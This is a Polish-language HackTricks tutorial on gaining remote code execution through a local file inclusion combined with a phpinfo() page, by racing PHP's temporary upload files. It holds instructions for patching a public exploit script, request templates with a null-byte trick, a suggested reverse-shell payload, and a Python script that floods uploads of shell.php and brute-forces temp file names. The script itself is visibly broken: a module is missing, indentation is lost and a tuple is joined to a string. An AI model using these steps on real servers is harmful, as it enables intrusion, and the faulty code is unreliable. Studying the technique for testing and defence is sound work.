LFI2RCE via phpinfo()

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Aby wykorzystać tę podatność, potrzebujesz: podatności LFI, strony, na której wyświetlane jest phpinfo(), "file_uploads = on" i serwer musi mieć możliwość zapisywania w katalogu "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Samouczek HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Musisz naprawić eksploit (zmień => na =>). Aby to zrobić, możesz wykonać:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Musisz również zmienić payload na początku exploitu (na przykład dla php-rev-shell), REQ1 (powinno to wskazywać na stronę phpinfo i powinno zawierać wypełnienie, np.: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), oraz LFIREQ (powinno to wskazywać na podatność LFI, np.: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Sprawdź podwójny znak "%" podczas wykorzystywania znaku null)

Teoria

Jeśli w PHP jest dozwolone przesyłanie plików i próbujesz przesłać plik, ten plik jest przechowywany w katalogu tymczasowym do momentu zakończenia przetwarzania żądania przez serwer, a następnie ten plik tymczasowy jest usuwany.

Następnie, jeśli znaleziono podatność LFI w serwerze internetowym, można spróbować zgadnąć nazwę utworzonego pliku tymczasowego i wykorzystać RCE, uzyskując dostęp do pliku tymczasowego przed jego usunięciem.

W systemie Windows pliki zwykle są przechowywane w C:\Windows\temp\php

W systemie Linux nazwa pliku zwykle jest losowa i znajduje się w /tmp. Ponieważ nazwa jest losowa, konieczne jest wydobycie skądś nazwy pliku tymczasowego i uzyskanie do niego dostępu przed usunięciem. Można to zrobić, odczytując wartość zmiennej $_FILES w treści funkcji "phpconfig()".

phpinfo()

PHP używa bufora o rozmiarze 4096B i gdy jest pełny, jest wysyłany do klienta. Następnie klient może wysłać wiele dużych żądań (używając dużych nagłówków) przesyłając php reverse shell, czekać na pierwszą część phpinfo(), która zostanie zwrócona (gdzie znajduje się nazwa pliku tymczasowego) i spróbować uzyskać dostęp do pliku tymczasowego przed usunięciem go przez serwer php, wykorzystując podatność LFI.

Skrypt w języku Python do próby bruteforce nazwy (jeśli długość = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated